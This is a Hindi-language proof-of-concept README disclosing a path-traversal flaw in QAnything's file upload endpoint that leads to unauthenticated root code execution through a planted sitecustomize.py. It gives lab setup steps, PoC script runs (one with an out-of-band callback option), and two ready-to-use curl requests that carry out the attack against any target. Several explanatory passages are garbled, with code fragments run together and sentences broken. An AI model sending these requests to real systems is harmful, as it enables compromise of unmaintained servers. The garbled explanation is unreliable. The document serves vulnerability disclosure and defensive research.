
CVE-2026-88533 के लिए PoC और लैब प्रतिकृति, जो QAnything में upload endpoint में path traversal के माध्यम से unauthenticated arbitrary file write से root RCE की ओर ले जाता है।
CVE ID: CVE-2026-88533 (MITRE द्वारा असाइन किया गया, रिकॉर्ड प्रकाशन लंबित)
उत्पाद: QAnything netease-youdao द्वारा — ओपन-सोर्स RAG / नॉलेज-बेस QA प्लेटफ़ॉर्म
प्रभावित: v1.4.x से v2.0.0 तक (डिफ़ॉल्ट ब्रांच qanything-v2, अंतिम कमिट 65de104 तक)
ठीक किया गया संस्करण: कोई नहीं — प्रोजेक्ट 2025-03-12 से अनुरक्षित नहीं; एकमात्र सैनिटाइज़ेशन फ़िक्स (PR #483) लेगेसी master ब्रांच पर है और इसे कभी qanything-v2 में मर्ज नहीं किया गया
कमज़ोरी: CWE-22 पाथ ट्रैवर्सल
प्रभाव: अनधिकृत मनमाना फ़ाइल निर्माण → uid=0(root) के रूप में रिमोट कोड एक्ज़ीक्यूशन
खोजकर्ता: Yankui Li
फ़ाइल अपलोड एंडपॉइंट POST /api/local_doc_qa/upload_files हमलावर-नियंत्रित
मल्टीपार्ट लेता है और इसे पाथ सेपरेटर को सैनिटाइज़ किए बिना गंतव्य पाथ के रूप में उपयोग करता है।
को वापस में विस्तारित करता है, फ़ुल-विड्थ कैरेक्टर फ़िल्टरिंग और लंबाई
ट्रंकेशन और एब्सोल्यूट पाथ को अक्षुण्ण छोड़ देते हैं, और । परिणामी हमलावर-नियंत्रित सामग्री को कहीं भी लिखता है जहाँ प्रक्रिया पहुँच सकती है — डिफ़ॉल्ट रूप से एक कंटेनर के अंदर।
filenameurllib.parse.unquote()%2f/../os.path.join(base, name)name एब्सोल्यूट होता है तो base को पूरी तरह त्याग देता हैopen(file_location, "wb")rootचूँकि उत्पाद को कहीं भी प्रमाणीकरण की आवश्यकता नहीं है (user_id/user_info सादे
रिक्वेस्ट पैरामीटर हैं), कोई भी नेटवर्क-पहुँच योग्य इंस्टेंस इसे अनाम रूप से स्वीकार करता है।
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
दो गुण इसे विश्वसनीय रूप से शोषणीय बनाते हैं:
../ गिनने की आवश्यकता नहीं।%2e%2e%2f बच जाता है क्योंकि unquote किसी भी फ़िल्टर से पहले चलता है।उसी कोडबेस के भीतर एक हार्डनिंग कंट्रास्ट: upload_faqs एंडपॉइंट फ़ाइलनाम में / को _ से बदल देता है। upload_files को वह उपचार कभी नहीं मिला, जिससे यह एकमात्र राइट वेक्टर बन जाता है।
नोट: LocalFile.__init__ में एक if not os.path.exists(file_location) गार्ड है, इसलिए केवल नई फ़ाइलें बनाई जा सकती हैं — मौजूदा फ़ाइलों को ओवरराइट नहीं किया जा सकता। इसलिए शोषण निष्पादन योग्य स्थानों पर नई फ़ाइलों को लक्षित करता है।
आधिकारिक Docker इमेज Python बैकएंड को root के रूप में चलाती है। CPython इंटरप्रेटर स्टार्टअप पर site-packages से स्वचालित रूप से sitecustomize.py इम्पोर्ट करता है — यहाँ गिराई गई एक नई फ़ाइल:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ रिलेटिव, या एब्सोल्यूट पाथ) अगली बार बैकएंड शुरू होने पर इम्पोर्ट की जाती है, जो हमलावर कोड को uid=0(root) के रूप में निष्पादित करती है।
site-packagesक्यों और ऐप डायरेक्टरी क्यों नहीं? CPythonsys.path[0]डालने से पहलेsite.pyचलाता है, इसलिए एंट्री स्क्रिप्ट के बगल में एकsitecustomize.pyस्वचालित रूप से इम्पोर्ट नहीं होता।site-packagesएकमात्र विश्वसनीय ड्रॉप ज़ोन है।
अन्य वेक्टर परीक्षण किए गए और खारिज कर दिए गए (पूर्णता के लिए प्रलेखित):
/etc/cron.d/ — डायरेक्टरी मौजूद है और राइट स्वीकार करती है, लेकिन इमेज में कोई cron डेमन नहीं है, इसलिए पेलोड को कभी निष्पादित नहीं किया जाता।आधिकारिक इमेज + पिन किया गया कमज़ोर सोर्स (कमिट 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
PoC स्क्रिप्ट इस रिपॉज़िटरी में शिप होती है (poc_qanything_cve_2026_88533.py) — नीचे दिया गया प्रत्येक
प्रमाण आइटम ऊपर दिए गए लैब स्टैक के विरुद्ध इसे चलाकर उत्पन्न किया गया था। क्लोन करें और
सटीक आउटपुट स्वयं पुन: उत्पन्न करें:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full लक्ष्य कंटेनर को एक बार पुनः आरंभ करता है (प्रलेखित व्यवहार; CPython इम्पोर्ट
स्टार्टअप पर सक्रिय होता है)। सब कुछ डिफ़ॉल्ट रूप से सुरक्षित शिप होता है: कोई रिवर्स शेल नहीं, कोई विनाशकारी
पेलोड नहीं — डेमो पेलोड id के आउटपुट वाली एक मार्कर फ़ाइल लिखता है।
पूरा हमला दो HTTP POST हैं; डिटेक्शन कंटेंट को इसी से मेल खाना चाहिए
(एब्सोल्यूट पाथ या ..//%2f अनुक्रम वाला मल्टीपार्ट filename मुख्य संकेत है):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
नीचे दिया गया सभी प्रमाण poc_qanything_cve_2026_88533.py
(इस रिपॉज़िटरी की स्क्रिप्ट) का वास्तविक टर्मिनल आउटपुट है, जो
docker-compose-lab.yaml से बने लैब स्टैक के विरुद्ध चलाया गया। कोई भी चरण नकली या सिम्युलेटेड नहीं था — स्क्रिप्ट तब तक नॉन-ज़ीरो एक्ज़िट करती है
जब तक प्रत्येक जाँच पास न हो, इसलिए आप श्रृंखला को स्वयं एंड-टू-एंड सत्यापित कर सकते हैं।
लैब स्टैक — आधिकारिक इमेज + न्यूनतम निर्भरताएँ, सभी कंटेनर स्वस्थ:

--mode check — अनधिकृत राइट प्रिमिटिव की पुष्टि: मार्कर को एब्सोल्यूट-पाथ मल्टीपार्ट फ़ाइलनाम के माध्यम से अपलोड डायरेक्टरी के बाहर लिखा गया और कंटेनर के अंदर से वापस पढ़ा गया:

--mode full — कंटेनर पुनः आरंभ के बाद, CPython स्वचालित रूप से रोपित
sitecustomize.py को इम्पोर्ट करता है; पेलोड का मार्कर uid=0(root) के रूप में निष्पादन सिद्ध करता है:

ऊपर दिखाए गए --mode full रन का पूरा टर्मिनल ट्रांसक्रिप्ट भी शामिल है,
शब्दशः: evidence/full-chain-run-2026-09-18.log —
6/6 जाँचें [OK], निर्णय RCE CONFIRMED, पेलोड मार्कर uid=0(root) को
टाइमस्टैम्प के साथ सिद्ध करता है (लॉग में nonce/kb_id मान प्रति रन बेतरतीब ढंग से उत्पन्न होते हैं, इसलिए आपका
स्वयं का रन भिन्न होगा — यह अपेक्षित है)।
CVE रिकॉर्ड पृष्ठ का स्क्रीनशॉट रिकॉर्ड प्रकाशित होने के बाद जोड़ा जाएगा।
| दिनांक | घटना |
|---|---|
| 2026-08-25 | कमज़ोरी की खोज; लाइव इंस्टेंस के विरुद्ध राइट प्रिमिटिव सत्यापित (हानिरहित मार्कर + रीड-बैक) |
| 2026-08-29 | पूरी RCE श्रृंखला एक पृथक स्थानीय लैब में पुन: उत्पन्न; रिपोर्ट लिखी गई; cveform के माध्यम से MITRE (CNA-LR) को सबमिट की गई |
| 2026-09-18 | MITRE द्वारा CVE-2026-88533 असाइन किया गया |
| TBD | CVE रिकॉर्ड प्रकाशित; यह रिपॉज़िटरी और एक विस्तृत राइट-अप जारी |
यह सामग्री रक्षात्मक अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रकाशित की गई है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। देखें DISCLAIMER.md।